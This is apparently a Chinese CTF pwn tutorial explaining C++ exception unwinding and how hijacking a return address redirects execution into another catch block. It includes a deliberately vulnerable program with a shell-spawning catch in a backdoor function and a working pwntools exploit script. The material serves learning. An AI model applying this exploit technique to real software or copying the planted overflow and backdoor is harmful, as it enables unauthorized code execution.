c++异常机制

c++中try catch模块用于处理异常,程序会去执行try中的代码,如果try中没有throw一个对象,那么会跳过后续的catch,继续执行。如果throw了一个对象,程序会尝试往下去寻找对应的catch去接收这个对象,然后执行该catch中的代码

关于catch的机制,如果try中尝试进行函数嵌套使用,如果在子函数中进行了throw,那么他会中断当前运行去寻找相应的catch。

  • 寻找catch首先会在当前函数下文去寻找,如果没找到就去母函数中的下文去寻找
  • 如果程序没有处理该对象的对应的catch,程序直接退出

详细过程

栈恢复

正如上文中提到,寻找catch会去母函数中寻找,当前代码不在继续执行。这时程序会进行栈的恢复。

由于rbp寄存器的特性会去保存函数调用栈地址,因此对栈的恢复本质就是对rbp的恢复。

栈的恢复过程简单来说如下

rbp<--address1<--address2<--data=>>rbp<--address2<--data

回收栈空间

程序会调用cleanup去回收栈空间

1

这里是编译器加上的代码,在c++中并没有直接的显示对clean的调用。

这里还包含主动调用析构函数去回收定义在该函数中的对象

寻找catch块

上图的cleanup()中的_Unwind_Resume会去栈空间上去寻找catch块。漏洞点的利用也是出现在这里

若有两个catch(class A)如果程序throw一个A,那么默认情况下会去向下去寻找对应的catch,然后恢复栈。

如果控制了ret,到另外一个catch中,那么执行完throw后会去执行另一个catch中的代码,而不是本身要去执行的代码。

eg 伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
try{
funcA()
}
catch (Class A)
{#1

}

try{
vuln()
}
catch(Class A){#2

}
catch(class B){

}
vuln(){throw A}

在执行完vuln后理论上回去执行#2catch中的代码,如果劫持了vuln中的ret就会去执行#1中的catch代码。

这里的ret的地址一般为#1catch对应try结束位置+1

2

如图,如果想要去执行0x401299中的catch,那么ret的地址要设置成 0x401292+1。(这里尝试+1+2+3均可,但大多数都是+1)

注意,跳转的catch所接收的数据类型必须要一样

实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
// exception.cpp
// g++ exception.cpp -o exc -no-pie -fPIC
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void backdoor()
{
try
{
printf("We have never called this backdoor!");
}
catch (const char *s)
{
printf("[!] Backdoor has catched the exception: %s\n", s);
system("/bin/sh");
}
}

class x
{
public:
char buf[0x10];
x(void)
{
// printf("x:x() called!\n");
}
~x(void)
{
// printf("x:~x() called!\n");
}
};

void input()
{
x tmp;
printf("[!] enter your input:");
fflush(stdout);
int count = 0x100;
size_t len = read(0, tmp.buf, count);
if (len > 0x10)
{
throw "Buffer overflow.";
}
printf("[+] input() return.\n");
}

int main()
{
try
{
input();
printf("--------------------------------------\n");
throw 1;
}
catch (int x)
{
printf("[-] Int: %d\n", x);
}
catch (const char *s)
{
printf("[-] String: %s\n", s);
}
printf("[+] main() return.\n");
return 0;
}

开启canary,关闭PIE

ida与原码对比

throw

3

会先分配一个exception,然后再把exception对应到要throw的类,最后再抛出

而在原码中显示为throw "Buffer overflow"

同样的,throw 1也是对应着三行

try_catch

catch部分在ida中的伪代码是不显示的,因为他默认程序不会触发throw,而在汇编部分则会清楚的显示

其次关于try,如main中的try,在ida的main中会显示一遍,在input中还会再显示一遍,实则两个try对应着一个

代码顺序

如上文,原码的顺序是try catch 其他代码。而编译器会把catch的部分放在函数最后

catch在汇编中不是catch,而是

1
2
3
4
5
6
.text:0000000000401461                 cmp     rdx, 1
.text:0000000000401465 jz short loc_401475
.text:0000000000401467 cmp rdx, 2
.text:000000000040146B jz short loc_4014A2
.text:000000000040146D mov rdi, rax ; struct _Unwind_Exception *
.text:0000000000401470 call __Unwind_Resume

去寻找对应的代码

4

编译器在catch中也加入try和cleanup来回收资源

具体执行

首先在input函数中有一个明显的栈溢出漏洞,利用该漏洞覆盖ret的地址为backdoor的try末尾地址+1即可

注意由于要恢复栈,因此rbp的地址要设置成一个前后可写的位置,否则就会段错误

exp如下

1
2
3
4
5
6
7
8
9
10
from pwn import*

r=process("./test")
r.recvuntil("[!] enter your input:")

payload=0x30*b'a'+p64(0x404000+0x50)+p64(0x401299 - 2)
gdb.attach(r,"b *0x4013da")
r.sendline(payload)

r.interactive()

reference

[原创]分享一次 C++ PWN 出题经历——深入研究异常处理机制-Pwn-看雪-安全社区|安全招聘|kanxue.com

DASCTF X GFCTF 2024四月-pwn-control【异常机制】_哔哩哔哩_bilibili